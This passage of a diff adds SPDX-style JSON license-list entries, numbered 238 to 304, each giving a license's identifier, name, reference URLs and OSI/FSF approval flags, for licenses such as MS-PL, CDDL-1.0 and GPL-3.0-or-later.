+ "referenceNumber": 238,
+ "name": "GNU Free Documentation License v1.3 only - no invariants",
+ "licenseId": "GFDL-1.3-no-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/TORQUE-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TORQUE-1.1.json",
+ "referenceNumber": 239,
+ "name": "TORQUE v2.5+ Software License v1.1",
+ "licenseId": "TORQUE-1.1",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/TORQUEv1.1"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MS-PL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MS-PL.json",
+ "referenceNumber": 240,
+ "name": "Microsoft Public License",
+ "licenseId": "MS-PL",
+ "seeAlso": [
+ "http://www.microsoft.com/opensource/licenses.mspx",
+ "https://opensource.org/licenses/MS-PL"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Apache-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Apache-1.0.json",
+ "referenceNumber": 241,
+ "name": "Apache License 1.0",
+ "licenseId": "Apache-1.0",
+ "seeAlso": [
+ "http://www.apache.org/licenses/LICENSE-1.0"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/copyleft-next-0.3.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/copyleft-next-0.3.1.json",
+ "referenceNumber": 242,
+ "name": "copyleft-next 0.3.1",
+ "licenseId": "copyleft-next-0.3.1",
+ "seeAlso": [
+ "https://github.com/copyleft-next/copyleft-next/blob/master/Releases/copyleft-next-0.3.1"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-or-later.json",
+ "referenceNumber": 243,
+ "name": "GNU Free Documentation License v1.2 or later",
+ "licenseId": "GFDL-1.2-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0+.json",
+ "referenceNumber": 244,
+ "name": "GNU General Public License v3.0 or later",
+ "licenseId": "GPL-3.0+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gpl-3.0-standalone.html",
+ "https://opensource.org/licenses/GPL-3.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MulanPSL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MulanPSL-2.0.json",
+ "referenceNumber": 245,
+ "name": "Mulan Permissive Software License, Version 2",
+ "licenseId": "MulanPSL-2.0",
+ "seeAlso": [
+ "https://license.coscl.org.cn/MulanPSL2/"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/FSFAP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FSFAP.json",
+ "referenceNumber": 246,
+ "name": "FSF All Permissive License",
+ "licenseId": "FSFAP",
+ "seeAlso": [
+ "https://www.gnu.org/prep/maintain/html_node/License-Notices-for-Other-Files.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Xerox.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Xerox.json",
+ "referenceNumber": 247,
+ "name": "Xerox License",
+ "licenseId": "Xerox",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Xerox"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDDL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDDL-1.0.json",
+ "referenceNumber": 248,
+ "name": "Common Development and Distribution License 1.0",
+ "licenseId": "CDDL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/cddl1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-invariants-only.json",
+ "referenceNumber": 249,
+ "name": "GNU Free Documentation License v1.3 only - invariants",
+ "licenseId": "GFDL-1.3-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/etalab-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/etalab-2.0.json",
+ "referenceNumber": 250,
+ "name": "Etalab Open License 2.0",
+ "licenseId": "etalab-2.0",
+ "seeAlso": [
+ "https://github.com/DISIC/politique-de-contribution-open-source/blob/master/LICENSE.pdf",
+ "https://raw.githubusercontent.com/DISIC/politique-de-contribution-open-source/master/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/XFree86-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/XFree86-1.1.json",
+ "referenceNumber": 251,
+ "name": "XFree86 License 1.1",
+ "licenseId": "XFree86-1.1",
+ "seeAlso": [
+ "http://www.xfree86.org/current/LICENSE4.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SNIA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SNIA.json",
+ "referenceNumber": 252,
+ "name": "SNIA Public License 1.1",
+ "licenseId": "SNIA",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/SNIA_Public_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPPL-1.1.json",
+ "referenceNumber": 253,
+ "name": "LaTeX Project Public License v1.1",
+ "licenseId": "LPPL-1.1",
+ "seeAlso": [
+ "http://www.latex-project.org/lppl/lppl-1-1.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CATOSL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CATOSL-1.1.json",
+ "referenceNumber": 254,
+ "name": "Computer Associates Trusted Open Source License 1.1",
+ "licenseId": "CATOSL-1.1",
+ "seeAlso": [
+ "https://opensource.org/licenses/CATOSL-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/TU-Berlin-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TU-Berlin-2.0.json",
+ "referenceNumber": 255,
+ "name": "Technische Universitaet Berlin License 2.0",
+ "licenseId": "TU-Berlin-2.0",
+ "seeAlso": [
+ "https://github.com/CorsixTH/deps/blob/fd339a9f526d1d9c9f01ccf39e438a015da50035/licences/libgsm.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3.json",
+ "referenceNumber": 256,
+ "name": "GNU Free Documentation License v1.3",
+ "licenseId": "GFDL-1.3",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-or-later.json",
+ "referenceNumber": 257,
+ "name": "GNU Free Documentation License v1.3 or later",
+ "licenseId": "GFDL-1.3-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LAL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LAL-1.2.json",
+ "referenceNumber": 258,
+ "name": "Licence Art Libre 1.2",
+ "licenseId": "LAL-1.2",
+ "seeAlso": [
+ "http://artlibre.org/licence/lal/licence-art-libre-12/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ICU.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ICU.json",
+ "referenceNumber": 259,
+ "name": "ICU License",
+ "licenseId": "ICU",
+ "seeAlso": [
+ "http://source.icu-project.org/repos/icu/icu/trunk/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/FTL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FTL.json",
+ "referenceNumber": 260,
+ "name": "Freetype Project License",
+ "licenseId": "FTL",
+ "seeAlso": [
+ "http://freetype.fis.uniroma2.it/FTL.TXT",
+ "http://git.savannah.gnu.org/cgit/freetype/freetype2.git/tree/docs/FTL.TXT",
+ "http://gitlab.freedesktop.org/freetype/freetype/-/raw/master/docs/FTL.TXT"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MirOS.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MirOS.json",
+ "referenceNumber": 261,
+ "name": "The MirOS Licence",
+ "licenseId": "MirOS",
+ "seeAlso": [
+ "https://opensource.org/licenses/MirOS"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-2-Clause-NetBSD.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/BSD-2-Clause-NetBSD.json",
+ "referenceNumber": 262,
+ "name": "BSD 2-Clause NetBSD License",
+ "licenseId": "BSD-2-Clause-NetBSD",
+ "seeAlso": [
+ "http://www.netbsd.org/about/redistribution.html#default"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-3.0.json",
+ "referenceNumber": 263,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 3.0 Unported",
+ "licenseId": "CC-BY-NC-ND-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSET-PL-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSET-PL-2.1.json",
+ "referenceNumber": 264,
+ "name": "OSET Public License version 2.1",
+ "licenseId": "OSET-PL-2.1",
+ "seeAlso": [
+ "http://www.osetfoundation.org/public-license",
+ "https://opensource.org/licenses/OPL-2.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-2.0.json",
+ "referenceNumber": 265,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 2.0 Generic",
+ "licenseId": "CC-BY-NC-ND-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SISSL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SISSL-1.2.json",
+ "referenceNumber": 266,
+ "name": "Sun Industry Standards Source License v1.2",
+ "licenseId": "SISSL-1.2",
+ "seeAlso": [
+ "http://gridscheduler.sourceforge.net/Gridengine_SISSL_license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Wsuipa.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Wsuipa.json",
+ "referenceNumber": 267,
+ "name": "Wsuipa License",
+ "licenseId": "Wsuipa",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Wsuipa"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Zimbra-1.4.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Zimbra-1.4.json",
+ "referenceNumber": 268,
+ "name": "Zimbra Public License v1.4",
+ "licenseId": "Zimbra-1.4",
+ "seeAlso": [
+ "http://www.zimbra.com/legal/zimbra-public-license-1-4"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Linux-OpenIB.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Linux-OpenIB.json",
+ "referenceNumber": 269,
+ "name": "Linux Kernel Variant of OpenIB.org license",
+ "licenseId": "Linux-OpenIB",
+ "seeAlso": [
+ "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/core/sa.h"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-3.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-3.0.json",
+ "referenceNumber": 270,
+ "name": "GNU Lesser General Public License v3.0 only",
+ "licenseId": "LGPL-3.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/lgpl-3.0-standalone.html",
+ "https://opensource.org/licenses/LGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.5.json",
+ "referenceNumber": 271,
+ "name": "Open LDAP Public License v2.5",
+ "licenseId": "OLDAP-2.5",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d6852b9d90022e8593c98205413380536b1b5a7cf"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AMPAS.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AMPAS.json",
+ "referenceNumber": 272,
+ "name": "Academy of Motion Picture Arts and Sciences BSD",
+ "licenseId": "AMPAS",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/BSD#AMPASBSD"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-1.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-1.0-or-later.json",
+ "referenceNumber": 273,
+ "name": "GNU General Public License v1.0 or later",
+ "licenseId": "GPL-1.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-1.0-standalone.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BUSL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BUSL-1.1.json",
+ "referenceNumber": 274,
+ "name": "Business Source License 1.1",
+ "licenseId": "BUSL-1.1",
+ "seeAlso": [
+ "https://mariadb.com/bsl11/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Adobe-Glyph.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Adobe-Glyph.json",
+ "referenceNumber": 275,
+ "name": "Adobe Glyph List License",
+ "licenseId": "Adobe-Glyph",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MIT#AdobeGlyph"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/0BSD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/0BSD.json",
+ "referenceNumber": 276,
+ "name": "BSD Zero Clause License",
+ "licenseId": "0BSD",
+ "seeAlso": [
+ "http://landley.net/toybox/license.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/W3C-19980720.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/W3C-19980720.json",
+ "referenceNumber": 277,
+ "name": "W3C Software Notice and License (1998-07-20)",
+ "licenseId": "W3C-19980720",
+ "seeAlso": [
+ "http://www.w3.org/Consortium/Legal/copyright-software-19980720.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/FSFUL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FSFUL.json",
+ "referenceNumber": 278,
+ "name": "FSF Unlimited License",
+ "licenseId": "FSFUL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/FSF_Unlimited_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-3.0.json",
+ "referenceNumber": 279,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 3.0 Unported",
+ "licenseId": "CC-BY-NC-SA-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/DOC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/DOC.json",
+ "referenceNumber": 280,
+ "name": "DOC License",
+ "licenseId": "DOC",
+ "seeAlso": [
+ "http://www.cs.wustl.edu/~schmidt/ACE-copying.html",
+ "https://www.dre.vanderbilt.edu/~schmidt/ACE-copying.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/TMate.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TMate.json",
+ "referenceNumber": 281,
+ "name": "TMate Open Source License",
+ "licenseId": "TMate",
+ "seeAlso": [
+ "http://svnkit.com/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-open-group.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-open-group.json",
+ "referenceNumber": 282,
+ "name": "MIT Open Group variant",
+ "licenseId": "MIT-open-group",
+ "seeAlso": [
+ "https://gitlab.freedesktop.org/xorg/app/iceauth/-/blob/master/COPYING",
+ "https://gitlab.freedesktop.org/xorg/app/xvinfo/-/blob/master/COPYING",
+ "https://gitlab.freedesktop.org/xorg/app/xsetroot/-/blob/master/COPYING",
+ "https://gitlab.freedesktop.org/xorg/app/xauth/-/blob/master/COPYING"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AMDPLPA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AMDPLPA.json",
+ "referenceNumber": 283,
+ "name": "AMD\u0027s plpa_map.c License",
+ "licenseId": "AMDPLPA",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/AMD_plpa_map_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Condor-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Condor-1.1.json",
+ "referenceNumber": 284,
+ "name": "Condor Public License v1.1",
+ "licenseId": "Condor-1.1",
+ "seeAlso": [
+ "http://research.cs.wisc.edu/condor/license.html#condor",
+ "http://web.archive.org/web/20111123062036/http://research.cs.wisc.edu/condor/license.html#condor"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/PolyForm-Noncommercial-1.0.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PolyForm-Noncommercial-1.0.0.json",
+ "referenceNumber": 285,
+ "name": "PolyForm Noncommercial License 1.0.0",
+ "licenseId": "PolyForm-Noncommercial-1.0.0",
+ "seeAlso": [
+ "https://polyformproject.org/licenses/noncommercial/1.0.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-No-Military-License.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-No-Military-License.json",
+ "referenceNumber": 286,
+ "name": "BSD 3-Clause No Military License",
+ "licenseId": "BSD-3-Clause-No-Military-License",
+ "seeAlso": [
+ "https://gitlab.syncad.com/hive/dhive/-/blob/master/LICENSE",
+ "https://github.com/greymass/swift-eosio/blob/master/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-4.0.json",
+ "referenceNumber": 287,
+ "name": "Creative Commons Attribution 4.0 International",
+ "licenseId": "CC-BY-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/4.0/legalcode"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGL-Canada-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGL-Canada-2.0.json",
+ "referenceNumber": 288,
+ "name": "Open Government Licence - Canada",
+ "licenseId": "OGL-Canada-2.0",
+ "seeAlso": [
+ "https://open.canada.ca/en/open-government-licence-canada"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-3.0-IGO.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-3.0-IGO.json",
+ "referenceNumber": 289,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 3.0 IGO",
+ "licenseId": "CC-BY-NC-SA-3.0-IGO",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/3.0/igo/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EFL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EFL-1.0.json",
+ "referenceNumber": 290,
+ "name": "Eiffel Forum License v1.0",
+ "licenseId": "EFL-1.0",
+ "seeAlso": [
+ "http://www.eiffel-nice.org/license/forum.txt",
+ "https://opensource.org/licenses/EFL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Newsletr.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Newsletr.json",
+ "referenceNumber": 291,
+ "name": "Newsletr License",
+ "licenseId": "Newsletr",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Newsletr"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/copyleft-next-0.3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/copyleft-next-0.3.0.json",
+ "referenceNumber": 292,
+ "name": "copyleft-next 0.3.0",
+ "licenseId": "copyleft-next-0.3.0",
+ "seeAlso": [
+ "https://github.com/copyleft-next/copyleft-next/blob/master/Releases/copyleft-next-0.3.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0-or-later.json",
+ "referenceNumber": 293,
+ "name": "GNU General Public License v3.0 or later",
+ "licenseId": "GPL-3.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gpl-3.0-standalone.html",
+ "https://opensource.org/licenses/GPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDLA-Permissive-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDLA-Permissive-2.0.json",
+ "referenceNumber": 294,
+ "name": "Community Data License Agreement Permissive 2.0",
+ "licenseId": "CDLA-Permissive-2.0",
+ "seeAlso": [
+ "https://cdla.dev/permissive-2-0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-3.0.json",
+ "referenceNumber": 295,
+ "name": "Creative Commons Attribution No Derivatives 3.0 Unported",
+ "licenseId": "CC-BY-ND-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/C-UDA-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/C-UDA-1.0.json",
+ "referenceNumber": 296,
+ "name": "Computational Use of Data Agreement v1.0",
+ "licenseId": "C-UDA-1.0",
+ "seeAlso": [
+ "https://github.com/microsoft/Computational-Use-of-Data-Agreement/blob/master/C-UDA-1.0.md",
+ "https://cdla.dev/computational-use-of-data-agreement-v1-0/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Barr.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Barr.json",
+ "referenceNumber": 297,
+ "name": "Barr License",
+ "licenseId": "Barr",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Barr"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Vim.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Vim.json",
+ "referenceNumber": 298,
+ "name": "Vim License",
+ "licenseId": "Vim",
+ "seeAlso": [
+ "http://vimdoc.sourceforge.net/htmldoc/uganda.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-with-classpath-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-with-classpath-exception.json",
+ "referenceNumber": 299,
+ "name": "GNU General Public License v2.0 w/Classpath exception",
+ "licenseId": "GPL-2.0-with-classpath-exception",
+ "seeAlso": [
+ "https://www.gnu.org/software/classpath/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BitTorrent-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BitTorrent-1.1.json",
+ "referenceNumber": 300,
+ "name": "BitTorrent Open Source License v1.1",
+ "licenseId": "BitTorrent-1.1",
+ "seeAlso": [
+ "http://directory.fsf.org/wiki/License:BitTorrentOSL1.1"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDL-1.0.json",
+ "referenceNumber": 301,
+ "name": "Common Documentation License 1.0",
+ "licenseId": "CDL-1.0",
+ "seeAlso": [
+ "http://www.opensource.apple.com/cdl/",
+ "https://fedoraproject.org/wiki/Licensing/Common_Documentation_License",
+ "https://www.gnu.org/licenses/license-list.html#ACDL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-1.0.json",
+ "referenceNumber": 302,
+ "name": "Creative Commons Attribution Share Alike 1.0 Generic",
+ "licenseId": "CC-BY-SA-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ADSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ADSL.json",
+ "referenceNumber": 303,
+ "name": "Amazon Digital Services License",
+ "licenseId": "ADSL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/AmazonDigitalServicesLicense"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/PostgreSQL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PostgreSQL.json",
+ "referenceNumber": 304,
+ "name": "PostgreSQL License",
+ "licenseId": "PostgreSQL",
+ "seeAlso": [
+ "http://www.postgresql.org/about/licence",
+ "https://opensource.org/licenses/PostgreSQL"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.1.html",
